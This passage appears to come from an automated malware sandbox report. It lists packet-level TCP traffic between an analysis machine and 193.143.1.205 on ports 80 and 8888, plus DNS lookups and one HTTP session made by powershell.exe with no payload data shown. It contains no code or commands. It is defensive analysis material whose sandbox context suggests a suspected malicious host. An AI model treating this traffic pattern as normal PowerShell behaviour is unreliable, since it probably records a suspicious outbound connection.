Jan 10, 2025 23:35:09.322731972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322748899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322755098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322762966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322777033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322777987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322789907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322801113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322803020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322815895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322849989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322865009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322870970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322880030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322901964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322913885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322925091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322933912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322937012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322951078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322966099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322967052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323039055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323050976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323061943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323072910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323081017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323086977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323101997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323105097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323116064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323134899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323163986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323185921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323203087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323220968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323234081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323246002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323251009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323272943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323275089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323287964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323298931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.323340893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.323340893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.326276064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.342664003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.354859114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.354913950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.354943037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.354948997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355001926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355009079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.355055094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355087996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355098963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.355123043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355159044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355169058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.355194092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355226994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355233908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.355261087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355297089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355305910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.355350018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355386019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.355396986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377403975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377435923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377476931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377489090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377542973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377595901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377630949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377635002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377660036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377660036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377698898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377724886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377760887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377811909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377813101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377849102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377882957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377892017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377918005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377950907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.377975941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.377985001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378019094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378030062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.378053904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378087044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378094912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.378123045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378155947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378190041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378190041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.378223896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.378251076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.409703016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.409780025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.409811974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.409848928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.409864902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.409892082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.409899950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.409945011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.409953117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410003901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410059929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410077095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410145044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410192966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410192966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410243034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410270929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410295010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410320997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410367966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410372019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410406113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410439968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410456896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410474062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410522938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410525084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410561085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410594940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410604000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410645962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410679102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410691977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410729885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410767078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410774946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410815954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410855055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410866976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410902977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410936117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.410952091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.410984993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411017895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411031008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411067963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411114931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411115885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411164999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411196947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411225080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411232948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411267042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411293030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411340952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411389112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411391020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411439896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411473036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411508083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411521912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411556005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411570072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411588907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411623955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411670923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411678076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411705017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411720991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411739111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411772013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411787987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411813974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411869049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411870956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411904097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411940098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.411946058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.411972046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412005901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412017107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412039995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412074089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412081957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412106991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412139893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412153959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412168980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412203074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412225008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412241936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412270069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412286043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412302971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412338018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412352085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412370920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412404060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412415028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412439108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412472010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412475109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412504911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412539959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412549973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412573099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412607908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412633896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412641048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412673950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412683964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412707090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412741899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412770033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412776947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412811041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412822962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412843943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412877083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412882090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412910938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412944078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.412955046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.412972927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413005114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413014889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.413038969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413072109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413083076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.413105011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413137913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413150072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.413172960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413207054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.413211107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.415174007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443438053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443450928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443468094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443485022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443495989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443501949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443515062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443526983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443536997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443547964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443564892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443572998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443582058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443582058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443592072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443595886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443605900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443618059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443629026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443636894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443645954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443658113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.443675995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.443711042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466057062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466113091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466140985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466171026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466192007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466231108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466243029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466281891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466325998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466334105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466366053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466419935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466428041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466448069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466481924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466495991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466516018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466548920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466579914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.466605902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466639042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466671944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.466700077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.469754934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498419046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498471022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498506069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498533010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498539925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498589993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498593092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498625994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498660088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498667002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498692036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498728037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498733044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498760939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498795033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498800993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.498831987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.498872995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.568159103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:10.464564085 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:10.469644070 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:10.469763994 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:10.469893932 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:10.474709034 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:11.287328005 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:11.337946892 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:11.488148928 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:35:23.358726025 CET	51589	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:35:35.957767963 CET	63401	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:35:49.455566883 CET	52806	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:35:23.358726025 CET	192.168.2.5	1.1.1.1	0x7e02	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:35.957767963 CET	192.168.2.5	1.1.1.1	0x867b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:49.455566883 CET	192.168.2.5	1.1.1.1	0xf765	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:35:22.817918062 CET	1.1.1.1	192.168.2.5	0x80	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:22.817918062 CET	1.1.1.1	192.168.2.5	0x80	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:35:23.371433973 CET	1.1.1.1	192.168.2.5	0x7e02	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:35:35.964840889 CET	1.1.1.1	192.168.2.5	0x867b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:35:49.471467018 CET	1.1.1.1	192.168.2.5	0xf765	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
